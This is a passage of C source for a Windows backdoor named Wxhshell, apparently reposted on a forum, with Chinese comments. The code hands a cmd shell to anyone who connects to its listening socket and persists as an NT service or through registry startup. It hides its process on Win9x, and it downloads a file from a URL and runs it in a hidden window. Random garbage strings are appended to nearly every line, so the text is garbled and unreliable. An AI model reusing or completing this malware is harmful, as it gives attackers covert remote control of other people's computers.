  case 'd': { @y9_\mX!s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E<'3?(D9hL  
    if(Boot(SHUTDOWN)) /l0\SVwa>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ve7[U_"  
    else { >t?;*K\x"  
    closesocket(wsh); " 9 h]P^  
    ExitThread(0); (C,PGjd  
    } V?HC\F-  
    break; O} QTg  
    } +=Crfvt  
  // 获取shell z)q9O_g9  
  case 's': { r_ I7Gd  
    CmdShell(wsh); J`uV $l:  
    closesocket(wsh); (2QFwBW]  
    ExitThread(0); //>f#8Ho  
    break; +K;(H']Z<-  
  } `pm6Ts{,  
  // 退出 A%oHx|PD  
  case 'x': { e0+N1kY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (<(8(} x  
    CloseIt(wsh); 2>.B*P  
    break; r.[!n)*  
    } v l2!2X  
  // 离开 hFZ7{pj  
  case 'q': { UbJ_'>hK6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }!(cm;XA"  
    closesocket(wsh); lEAN Nu  
    WSACleanup(); =c M\o{ q  
    exit(1); ,K6s'3O(LW  
    break; \NS\>Q+d  
        } S*IF/ fu  
  } ]gHw;ry  
  } %-i2MK'A  
m /JpYv~  
  // 提示信息  EP'2'51  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B:a&)L wp0  
} %[-D&flKC  
  } Sh*LD QL<?  
/{d7%Et6  
  return; fZ]Y  
} H{E223  
d5\w'@Di  
// shell模块句柄 c@~\ FUr  
int CmdShell(SOCKET sock) 7z)Hq./3@  
{ *rK}Ai  
STARTUPINFO si; w8kp6_i'  
ZeroMemory(&si,sizeof(si)); 7\rz*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N{tNe-5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pz6fL=Xd  
PROCESS_INFORMATION ProcessInfo; :7<spd(%"  
char cmdline[]="cmd"; D^]7/w:$-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {2}O\A  
  return 0; 7pMrYIP  
} V?t^ J7{'  
YbND2 i  
// 自身启动模式 gb|C592R5C  
int StartFromService(void) w{UVo1r:  
{ fl!8\4  
typedef struct g[0b>r7   
{ D1;H,  
  DWORD ExitStatus; - {>JF  
  DWORD PebBaseAddress; u= 5&e)v3  
  DWORD AffinityMask; <6)Ogv",  
  DWORD BasePriority; &#F>%~<or  
  ULONG UniqueProcessId; * h!gjbi  
  ULONG InheritedFromUniqueProcessId; {PnvQ?|Z  
}   PROCESS_BASIC_INFORMATION; S2kFdx*Zf  
 T+9#P4  
PROCNTQSIP NtQueryInformationProcess; 6FiI\  
{k%*j 4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ']4b}F:}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b\Y<1EV^[  
Z O5_n  
  HANDLE             hProcess; .EM0R\q  
  PROCESS_BASIC_INFORMATION pbi; 0WaC.C+2i  
B?`Gs^Y {z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O[U^{~iM  
  if(NULL == hInst ) return 0; |`1lCyV\tE  
D kl4 ^}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9i*t3W71]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a"EX<6"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %YlL-*7 L  
L%}k.)yev  
  if (!NtQueryInformationProcess) return 0; "G].hKgbk*  
)pJ} $[6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y>_lxLhmO#  
  if(!hProcess) return 0; szu!*wc9  
f',n '  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T@GT=1E)  
7IB<0  
  CloseHandle(hProcess); WUm8 3"  
D>|m8-@]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l E=(6Q  
if(hProcess==NULL) return 0; yl/-!  
zRd^Uks  
HMODULE hMod; o|YY,G=C  
char procName[255]; ~1]4 J(+  
unsigned long cbNeeded; ijEMS1$=7  
_CO?HX5ek  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hCVe05  
N DZ :`D  
  CloseHandle(hProcess); 1@rI4U@D  
v;AsV`g  
if(strstr(procName,"services")) return 1; // 以服务启动 }:<`L\8q\  
4$#nciAe  
  return 0; // 注册表启动 tgSl (.  
} Anr''J&9`H  
1O]'iS"  
// 主模块 SR)G!9z_/  
int StartWxhshell(LPSTR lpCmdLine) >?aPX C  
{ {AUhF}O  
  SOCKET wsl; mSF>~D1_  
BOOL val=TRUE; @/FE!6 |O  
  int port=0; y.(Yh1  
  struct sockaddr_in door; iZ}Afj  
cH%qoHgx  
  if(wscfg.ws_autoins) Install(); G_vWwH4XtL  
y.PWh<dI  
port=atoi(lpCmdLine); }K':tX?  
Q#w mS&$f  
if(port<=0) port=wscfg.ws_port; &YC Z L  
h_#x@p  
  WSADATA data; > Dy<@e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ix4O-o{  
<qJI]P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FcVQ_6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P'%#B&LZo  
  door.sin_family = AF_INET; dO]N&'P7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R+{QZ'K.qg  
  door.sin_port = htons(port); 1W3+ng  
U4)x"s[CP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =h5&:?X  
closesocket(wsl); 5:y\ejU  
return 1; S:2M9nC  
} _=0%3Sh  
)45~YDS;t  
  if(listen(wsl,2) == INVALID_SOCKET) { cHo@F!{o=  
closesocket(wsl); @uA=v/>+  
return 1; WV5z~[  
} #J=^CE  
  Wxhshell(wsl); v~E\u  
  WSACleanup(); )S?.YCv?  
6d~[j <@2  
return 0; N{+6V`\  
TQ`s&8"P  
} UU\wP(f  
VWhq +8z  
// 以NT服务方式启动 |Y|6`9;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QAGR\~  
{ j IO2uTM~  
DWORD   status = 0; zplAH!s5''  
  DWORD   specificError = 0xfffffff; =u\W {1  
0\tV@ 6p2=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D+4oV6}~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <&w(%<;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WO;2=[#O;  
  serviceStatus.dwWin32ExitCode     = 0; lU?8<X  
  serviceStatus.dwServiceSpecificExitCode = 0; /Ne;Kdp  
  serviceStatus.dwCheckPoint       = 0; $ljzw@k  
  serviceStatus.dwWaitHint       = 0; .X1xpi%  
{ovt 6C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b'AA*v,b  
  if (hServiceStatusHandle==0) return; &#/UWv}f 0  
5>r2&72=  
status = GetLastError(); `L~gERW#  
  if (status!=NO_ERROR) lZ,w#sqbY  
{ m8}c(GwcP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J|$UAOEDa  
    serviceStatus.dwCheckPoint       = 0; 8O^<#lh  
    serviceStatus.dwWaitHint       = 0; g \.O5H9Od  
    serviceStatus.dwWin32ExitCode     = status; \d-H+t]  
    serviceStatus.dwServiceSpecificExitCode = specificError; vw~=z6Ka  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ eNKu  
    return; Q*jNJ^IW  
  } `@<>"ff#F  
kB#;s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %*bGW'Cw  
  serviceStatus.dwCheckPoint       = 0; TmviYP gb  
  serviceStatus.dwWaitHint       = 0; (V(8E%<c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mETGYkPUa  
} C[ma!he  
hqDnmzG  
// 处理NT服务事件,比如:启动、停止 Mi^/`1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yC&u^{~BC  
{ +HDfEo T  
switch(fdwControl) $I0&I[_LzK  
{ M4H~]Ftn  
case SERVICE_CONTROL_STOP: r;n^\[Ov0,  
  serviceStatus.dwWin32ExitCode = 0; :<p3L!?8y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1S{AGgls5  
  serviceStatus.dwCheckPoint   = 0; 62.)fCQ^  
  serviceStatus.dwWaitHint     = 0; S7B\m v  
  { tl6x@%\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x@*RF:\}  
  } ;9MIapfUd(  
  return; tD^$}u6  
case SERVICE_CONTROL_PAUSE: ,DL%oQR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l=&\luNz  
  break; ZrNBkfe :  
case SERVICE_CONTROL_CONTINUE: qV{iUtYt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g:oB j6$ q  
  break; j{$2.W$  
case SERVICE_CONTROL_INTERROGATE: E"<-To  
  break; <`)vp0  
}; 2#81oz&K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~J:qG9|]}  
} zhZ!!b^6<  
@@W-]SR  
// 标准应用程序主函数 mYx6JU*`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b[U;P=;=  
{ 0<[g7BbR  
vJ?j#Ch  
// 获取操作系统版本 r91b]m3xL  
OsIsNt=GetOsVer(); Je*hyi7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mufXM(  
?B32,AS@  
  // 从命令行安装 A$jf#,  
  if(strpbrk(lpCmdLine,"iI")) Install(); A.+Qa  
=G\N1E  
  // 下载执行文件 `E2RW{$A  
if(wscfg.ws_downexe) { y9U*E80q{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ghf/IXq#  
  WinExec(wscfg.ws_filenam,SW_HIDE); \=2<< iv  
} IY,n7x0d  
0'Uo3jAB  
if(!OsIsNt) { [;Y*f,UG_-  
// 如果时win9x,隐藏进程并且设置为注册表启动 ruU &.mZ  
HideProc(); e3.q8r  
StartWxhshell(lpCmdLine); ]KM3G  
} RI2/hrW  
else =#T3p9  
  if(StartFromService()) (`"87Xomnn  
  // 以服务方式启动 U|~IJU3-  
  StartServiceCtrlDispatcher(DispatchTable); g1{2E<b 5  
else rM0Idc.$&&  
  // 普通方式启动 nV/;yl4e{  
  StartWxhshell(lpCmdLine); m;cgX#k5  
%CV.xDE8  
return 0; K''2Jfm  
}
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只看该作者 1 发表于: 2006-08-21
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